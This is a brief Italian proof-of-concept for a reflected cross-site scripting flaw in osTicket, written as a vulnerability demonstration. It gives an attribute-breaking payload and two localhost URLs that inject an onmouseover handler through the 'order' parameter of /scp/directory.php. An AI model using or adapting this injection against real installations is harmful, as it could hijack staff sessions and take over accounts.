
Exploit proof-of-concept per XSS riflesso nel sistema di ticketing di supporto osTicket tramite un parametro order manipolato, dimostrando una vulnerabilità di cross-site scripting.
XSS riflesso:
Payload: " onmouseover="alert(1)
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)&sort=name